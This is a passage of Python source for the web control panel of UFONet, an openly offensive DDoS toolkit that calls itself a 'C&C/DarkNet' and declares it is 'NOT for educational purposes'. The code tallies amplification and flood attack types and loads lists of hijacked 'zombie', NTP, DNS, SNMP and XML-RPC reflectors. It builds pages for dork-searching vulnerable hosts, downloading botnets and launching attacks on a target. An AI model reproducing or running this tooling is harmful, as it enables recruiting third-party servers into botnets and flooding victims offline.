  2700. self.atachyon = data["tachyon"]
  2701. self.amonlist = data["monlist"]
  2702. self.afraggle = data["fraggle"]
  2703. self.asniper = data["sniper"]
  2704. self.aufoack = data["ufoack"]
  2705. self.auforst = data["uforst"]
  2706. self.adroper = data["droper"]
  2707. self.aoverlap = data["overlap"]
  2708. self.apinger = data["pinger"]
  2709. self.aufoudp = data["ufoudp"]
  2710. self.tcrashed = data["crashed"]
  2711. if int(self.acompleted) > 0: # check for attacks completed
  2712. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2713. else:
  2714. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2715. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2716. self.ranking = "Rookie"
  2717. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2718. self.ranking = "Mercenary"
  2719. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2720. self.ranking = "Bandit"
  2721. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2722. self.ranking = "UFOmmander!"
  2723. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2724. self.ranking = "UFOl33t!"
  2725. f = open(self.zombies_file)
  2726. self.zombies = f.readlines()
  2727. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2728. self.list_zombies = []
  2729. for zombie in self.zombies:
  2730. t = urlparse(zombie)
  2731. name_zombie = t.netloc
  2732. if "www." in name_zombie:
  2733. name_zombie = name_zombie.replace("www.","")
  2734. self.list_zombies.append(name_zombie)
  2735. self.num_zombies = str(len(self.zombies))
  2736. f.close()
  2737. f = open(self.aliens_file)
  2738. self.aliens = f.readlines()
  2739. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2740. self.list_aliens = []
  2741. for alien in self.aliens:
  2742. t = urlparse(alien)
  2743. name_alien = t.netloc
  2744. if "www." in name_alien:
  2745. name_alien = name_alien.replace("www.","")
  2746. self.list_aliens.append(name_alien)
  2747. self.num_aliens = str(len(self.aliens))
  2748. f.close()
  2749. f = open(self.droids_file)
  2750. self.droids = f.readlines()
  2751. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2752. self.list_droids = []
  2753. for droid in self.droids:
  2754. t = urlparse(droid)
  2755. name_droid = t.netloc
  2756. if "www." in name_droid:
  2757. name_droid = name_droid.replace("www.","")
  2758. self.list_droids.append(name_droid)
  2759. self.num_droids = str(len(self.droids))
  2760. f.close()
  2761. f = open(self.ucavs_file)
  2762. self.ucavs = f.readlines()
  2763. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2764. self.list_ucavs = []
  2765. for ucav in self.ucavs:
  2766. t = urlparse(ucav)
  2767. name_ucav = t.netloc
  2768. if "www." in name_ucav:
  2769. name_ucav = name_ucav.replace("www.","")
  2770. self.list_ucavs.append(name_ucav)
  2771. self.num_ucavs = str(len(self.ucavs))
  2772. f.close()
  2773. f = open(self.rpcs_file)
  2774. self.rpcs = f.readlines()
  2775. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2776. self.list_rpcs = []
  2777. for rpc in self.rpcs:
  2778. t = urlparse(rpc)
  2779. name_rpc = t.netloc
  2780. if "www." in name_rpc:
  2781. name_rpc = name_rpc.replace("www.","")
  2782. self.list_rpcs.append(name_rpc)
  2783. self.num_rpcs = str(len(self.rpcs))
  2784. f.close()
  2785. f = open(self.ntps_file)
  2786. self.ntps = f.readlines()
  2787. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2788. self.list_ntps = []
  2789. for ntp in self.ntps:
  2790. t = urlparse(ntp)
  2791. name_ntp = t.netloc
  2792. if "www." in name_ntp:
  2793. name_ntp = name_ntp.replace("www.","")
  2794. self.list_ntps.append(name_ntp)
  2795. self.num_ntps = str(len(self.ntps))
  2796. f.close()
  2797. f = open(self.dnss_file)
  2798. self.dnss = f.readlines()
  2799. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2800. self.list_dnss = []
  2801. for dns in self.dnss:
  2802. t = urlparse(dns)
  2803. name_dns = t.netloc
  2804. if "www." in name_dns:
  2805. name_dns = name_dns.replace("www.","")
  2806. self.list_dnss.append(name_dns)
  2807. self.num_dnss = str(len(self.dnss))
  2808. f.close()
  2809. f = open(self.snmps_file)
  2810. self.snmps = f.readlines()
  2811. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2812. self.list_snmps = []
  2813. for snmp in self.snmps:
  2814. t = urlparse(snmp)
  2815. name_snmp = t.netloc
  2816. if "www." in name_snmp:
  2817. name_snmp = name_snmp.replace("www.","")
  2818. self.list_snmps.append(name_snmp)
  2819. self.num_snmps = str(len(self.snmps))
  2820. f.close()
  2821. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
  2822. f = open(self.wargames_file, "r")
  2823. ls = f.readlines()
  2824. f.close()
  2825. self.supply_wargames = 0
  2826. self.wargames_engage_list = []
  2827. for l in ls:
  2828. if "!!!" in l:
  2829. self.wargames_engage_list.append(l)
  2830. self.supply_wargames = self.supply_wargames + 1
  2831. if self.supply_wargames > 0:
  2832. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">' + str(self.supply_wargames) + '</a>'
  2833. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  2834. else:
  2835. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">0</a>'
  2836. self.options = UFONetOptions()
  2837. self.pages = {}
  2838. self.pages["/header"] = """<!DOCTYPE html><html>
  2839. <head>
  2840. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  2841. <meta name="author" content="psy">
  2842. <meta name="robots" content="noindex, nofollow">
  2843. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  2844. <title>UFONet - [ C&C/DarkNet ]</title>
  2845. <script language="javascript" src="/lib.js"></script>
  2846. <script language="javascript" src="js/stars.js"></script>
  2847. <style>
  2848. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  2849. </style>"""
  2850. self.pages["/footer"] = """</center></body>
  2851. </html>
  2852. """
  2853. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  2854. function Start() {
  2855. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  2856. }
  2857. </script>
  2858. <script type="text/javascript">
  2859. var text="REMEMBER -> This code is NOT for educational purposes!";
  2860. var delay=1;
  2861. var currentChar=1;
  2862. var destination="tt";
  2863. function type()
  2864. {
  2865. if (document.getElementById)
  2866. {
  2867. var dest=document.getElementById(destination);
  2868. if (dest)
  2869. {
  2870. dest.innerHTML=text.substr(0, currentChar);
  2871. currentChar++
  2872. if (currentChar>text.length)
  2873. {
  2874. currentChar=1;
  2875. setTimeout("type()", 5000);
  2876. }
  2877. else
  2878. {
  2879. setTimeout("type()", delay);
  2880. }
  2881. }
  2882. }
  2883. }
  2884. function startTyping(textParam, delayParam, destinationParam)
  2885. {
  2886. text=textParam;
  2887. delay=delayParam;
  2888. currentChar=1;
  2889. destination=destinationParam;
  2890. type();
  2891. }
  2892. </script>
  2893. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  2894. </head>
  2895. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2896. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2897. <center><br><br><br><br>
  2898. <table><tr>
  2899. <td>
  2900. <div class="ufo-cloud">
  2901. <ul>
  2902. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  2903. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  2904. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  2905. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  2906. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  2907. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  2908. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  2909. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  2910. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  2911. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  2912. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  2913. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  2914. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  2915. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  2916. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  2917. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  2918. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  2919. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  2920. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  2921. </ul>
  2922. </div>
  2923. </td>
  2924. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  2925. </td></tr></table><br>
  2926. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
  2927. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  2928. <script type="text/javascript">
  2929. startTyping(text, 80, "tt");
  2930. </script><br />
  2931. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  2932. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  2933. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2934. }
  2935. function Missions() {
  2936. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2937. }
  2938. function Stats() {
  2939. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2940. }
  2941. function Browser() {
  2942. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2943. }
  2944. function Board() {
  2945. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2946. }
  2947. function Links() {
  2948. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2949. }
  2950. function Streams() {
  2951. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2952. }
  2953. function TV() {
  2954. var win_requests = window.open("tv","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2955. }
  2956. function Grid() {
  2957. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2958. }
  2959. function Wargames() {
  2960. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2961. }
  2962. </script>
  2963. </head>
  2964. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2965. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2966. <center>
  2967. <table cellpadding="38" cellspacing="38">
  2968. <tr>
  2969. <td>
  2970. <div class="ringMenu">
  2971. <ul>
  2972. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  2973. <li class="top"><a href="botnet">Botnet</a></li>
  2974. <li class="right"><a href="explore">Explore</a></li>
  2975. <li class="bottom"><a href="attack">Attack</a></li>
  2976. <li class="left"><a href="globalnet">Globalnet</a></li>
  2977. </ul>
  2978. </div>
  2979. </td>
  2980. <td>
  2981. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  2982. <tr>
  2983. <td>
  2984. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> [ <b>C&C/DarkNET</b> ]
  2985. ------------------------------------
  2986. | <a href="/help" target="_blank">HELP</a> - <a href="/faq" target="_blank">F.A.Q.</a> | <a href="/author" target="_blank">AUTHOR</a> |
  2987. ------------------------------------<b>
  2988. """ + self.options.version + """</b>
  2989. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  2990. | <a href='javascript:runCommandX("cmd_view_changelog")'>LOG</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">C0DE</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">MIRROR</a> - <a href="https://ufonet.03c8.net/ufonet/ufonet-v1.7.tar.gz.torrent" target="_blank">SEED</a> | <a href='javascript:runCommandX("cmd_check_tool")'>UPDATE!</a> |
  2991. -------------------------------------
  2992. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  2993. - Stats: <a href="/stats" target="_blank"><b>""" + str(self.mothership_model) + """</b></a>
  2994. - Ranking: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a><br>
  2995. - Chargo: <a href='javascript:runCommandX("cmd_list_army")'><b>"""+ self.total_botnet +"""</b></a><br>
  2996. - Nodes: <a href='javascript:runCommandX("cmd_list_nodes")'><b>"""+str(len(self.list_globalnet)+len(self.list_blackholes))+"""</b></a><br>
  2997. """+str(self.current_tasks)+"""</td>
  2998. <td>
  2999. <table>
  3000. <tr>
  3001. <td>
  3002. <table cellpadding="2" cellspacing="5">
  3003. <tr>
  3004. <td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="Browser()"><br><a href="Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="News()">SHIP.NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="Missions()">SHIP.MISSIONS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="TV()"><br><a href="TV()">SHIP.TV</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="Links()">GLOBAL.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="Streams()"><br><a href="Streams()">GLOBAL.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="Board()">GLOBAL.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"><br><a href="Grid()">GLOBAL.GRID</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"><br><a href="Wargames()">GLOBAL.WARGAMES</a>
  3005. </td></tr></table>
  3006. </tr>
  3007. </table>
  3008. </td>
  3009. </tr>
  3010. </table>
  3011. </td>
  3012. </tr>
  3013. </table><center><br><br>
  3014. <div id="cmdOut"></div>
  3015. """ + self.pages["/footer"]
  3016. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  3017. function Requests() {
  3018. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3019. }
  3020. function Maps() {
  3021. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  3022. win_map.resizeTo(screen.width,screen.height);
  3023. }
  3024. function Start(){
  3025. dork=document.getElementById("dork").value
  3026. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  3027. if (document.getElementById("autosearch").checked){
  3028. document.getElementById("autosearch").value = "on";
  3029. } else {
  3030. document.getElementById("autosearch").value = "off";
  3031. }
  3032. autosearch = document.getElementById("autosearch").value
  3033. if (document.getElementById("dork_list").checked){
  3034. document.getElementById("dork_list").value = "on";
  3035. } else {
  3036. document.getElementById("dork_list").value = "off";
  3037. }
  3038. dork_list = document.getElementById("dork_list").value
  3039. if(dork == "" && dork_list == "off" && autosearch == "off") {
  3040. window.alert("You need to enter a source for dorking...");
  3041. return
  3042. }else{
  3043. if (document.getElementById("all_engines").checked){
  3044. document.getElementById("all_engines").value = "on";
  3045. exclude_engines=document.getElementById("exclude_engines").value
  3046. } else {
  3047. document.getElementById("all_engines").value = "off";
  3048. }
  3049. all_engines = document.getElementById("all_engines").value
  3050. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  3051. runCommandX("cmd_search",params)
  3052. }
  3053. }
  3054. function Download_Botnet_IP(){
  3055. blackhole=document.getElementById("download_botnet_ip").value
  3056. params="blackhole="+escape(blackhole)
  3057. runCommandX("cmd_download_botnet_ip",params)
  3058. }
  3059. function showHide()
  3060. {
  3061. if(document.getElementById("dork_list").checked)
  3062. {
  3063. document.getElementById("dork_pattern").style.display = "none";
  3064. document.getElementById("autosearch_pattern").style.display = "none";
  3065. }
  3066. else {
  3067. document.getElementById("dork_pattern").style.display = "";
  3068. document.getElementById("autosearch_pattern").style.display = "";
  3069. }
  3070. }
  3071. function showHideEngines()
  3072. {
  3073. if(document.getElementById("all_engines").checked)
  3074. {
  3075. document.getElementById("s_engine").style.display = "none";
  3076. document.getElementById("sex_engine").style.display = "";
  3077. }
  3078. else {
  3079. document.getElementById("s_engine").style.display = "";
  3080. document.getElementById("sex_engine").style.display = "none";
  3081. }
  3082. }
  3083. function HideAll()
  3084. {
  3085. if(document.getElementById("autosearch").checked)
  3086. {
  3087. document.getElementById("s_engine").style.display = "none";
  3088. document.getElementById("dork_pattern").style.display = "none";
  3089. document.getElementById("list_pattern").style.display = "none";
  3090. document.getElementById("allengines_pattern").style.display = "none";
  3091. document.getElementById("all_engines").checked = false;
  3092. document.getElementById("dork_list").checked = false;
  3093. document.getElementById("dork").value = "";
  3094. }
  3095. else {
  3096. document.getElementById("s_engine").style.display = "";
  3097. document.getElementById("dork_pattern").style.display = "";
  3098. document.getElementById("list_pattern").style.display = "";
  3099. document.getElementById("allengines_pattern").style.display = "";
  3100. }
  3101. }
  3102. </script>
  3103. </head>
  3104. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3105. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3106. <center>
  3107. <table cellpadding="38" cellspacing="38">
  3108. <tr>
  3109. <td>
  3110. <div class="ringMenu">
  3111. <ul>
  3112. <li class="main"><a href="botnet">Botnet</a></li>
  3113. <li class="top"><a href="globalnet">Globalnet</a></li>
  3114. <li class="right"><a href="explore">Explore</a></li>
  3115. <li class="bottom"><a href="attack">Attack</a></li>
  3116. <li class="left"><a href="gui">RETURN</a></li>
  3117. </ul>
  3118. </div>
  3119. </td>
  3120. <td>
  3121. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3122. <tr><td>
  3123. <pre>
  3124. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3125. <form method='GET'><br><hr><br>Search Botnet:<br><div id="autosearch_pattern" style="display:block;">
  3126. * Search automatically (may take time!) <input type="checkbox" CHECKED id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:none;">
  3127. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:none;">
  3128. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:none;">
  3129. * Search using this search engine: <select id="engines_list">
  3130. <option value="duck" selected>duck</option>
  3131. <option value="bing">bing</option>
  3132. <option value="yahoo">yahoo</option>
  3133. <!-- <option value="google">google (no TOR!)</option>-->
  3134. <!-- <option value="yandex">yandex</option>-->
  3135. </select></div><div id="allengines_pattern" style="display:none;">
  3136. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  3137. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  3138. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  3139. <br><hr>
  3140. Download Botnet: <center><br><a href='javascript:runCommandX("cmd_list_nodes")'>LIST NODES</a> <input type="text" name="download_botnet_ip" id="download_botnet_ip" size="20" value='"""+default_blackhole+"""'> <button title="Start to search for zombies..." style="color:yellow; height:40px; width:140px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Download_Botnet_IP()>TAKE IT!</button></center>
  3141. <hr>
  3142. Test Botnet: <center><br><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center>
  3143. <hr>
  3144. View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button></pre>
  3145. </td>
  3146. <td>
  3147. <table cellpadding="5" cellspacing="2">
  3148. <tr>
  3149. <td align="right">Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  3150. </tr>
  3151. <tr><td><hr></td></tr>
  3152. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  3153. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  3154. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  3155. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  3156. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  3157. <tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
  3158. <tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
  3159. <tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
  3160. <tr><td><hr></td></tr>
  3161. <tr>
  3162. <td align="right">GLOBAL.RADAR (nodes) = <b><font size='5' align="right"><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></b></td>
  3163. </tr>
  3164. <tr>
  3165. <td align="right">SHIP.WARPS (nodes) = <b><font size='5' align="right"><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></b></td>
  3166. </tr>
  3167. </table>
  3168. </table>
  3169. </td>
  3170. </tr></table>
  3171. <hr>
  3172. <div id="cmdOut"></div>
  3173. """ + self.pages["/footer"]
  3174. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  3175. function Requests() {
  3176. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3177. }
  3178. function ShowPanel() {
  3179. if (document.getElementById("extra_attack").checked){
  3180. document.getElementById("extra_panel").style.display = "block";
  3181. document.getElementById("loic").value = "";
  3182. document.getElementById("loris").value = "";
  3183. document.getElementById("ufosyn").value = "";
  3184. document.getElementById("spray").value = "";
  3185. document.getElementById("smurf").value = "";
  3186. document.getElementById("xmas").value = "";
  3187. document.getElementById("nuke").value = "";
  3188. document.getElementById("tachyon").value = "";
  3189. document.getElementById("monlist").value = "";
  3190. document.getElementById("fraggle").value = "";
  3191. document.getElementById("sniper").value = "";
  3192. document.getElementById("ufoack").value = "";
  3193. document.getElementById("uforst").value = "";
  3194. document.getElementById("droper").value = "";
  3195. document.getElementById("overlap").value = "";
  3196. document.getElementById("pinger").value = "";
  3197. document.getElementById("ufoudp").value = "";
  3198. document.getElementById("dbstress").value = "";
  3199. } else {
  3200. document.getElementById("extra_panel").style.display = "none";
  3201. document.getElementById("loic").value = "";
  3202. document.getElementById("loris").value = "";
  3203. document.getElementById("ufosyn").value = "";
  3204. document.getElementById("spray").value = "";
  3205. document.getElementById("smurf").value = "";
  3206. document.getElementById("xmas").value = "";
  3207. document.getElementById("nuke").value = "";
  3208. document.getElementById("tachyon").value = "";
  3209. document.getElementById("monlist").value = "";
  3210. document.getElementById("fraggle").value = "";
  3211. document.getElementById("sniper").value = "";
  3212. document.getElementById("ufoack").value = "";
  3213. document.getElementById("uforst").value = "";
  3214. document.getElementById("droper").value = "";
  3215. document.getElementById("overlap").value = "";
  3216. document.getElementById("pinger").value = "";
  3217. document.getElementById("ufoudp").value = "";
  3218. document.getElementById("dbstress").value = "";
  3219. }
  3220. }
  3221. function Maps() {
  3222. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  3223. win_map.resizeTo(screen.width,screen.height);
  3224. }
  3225. function Start(){
  3226. document.getElementById("attack_button").text = "STOP!"
  3227. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  3228. target=document.getElementById("target").value
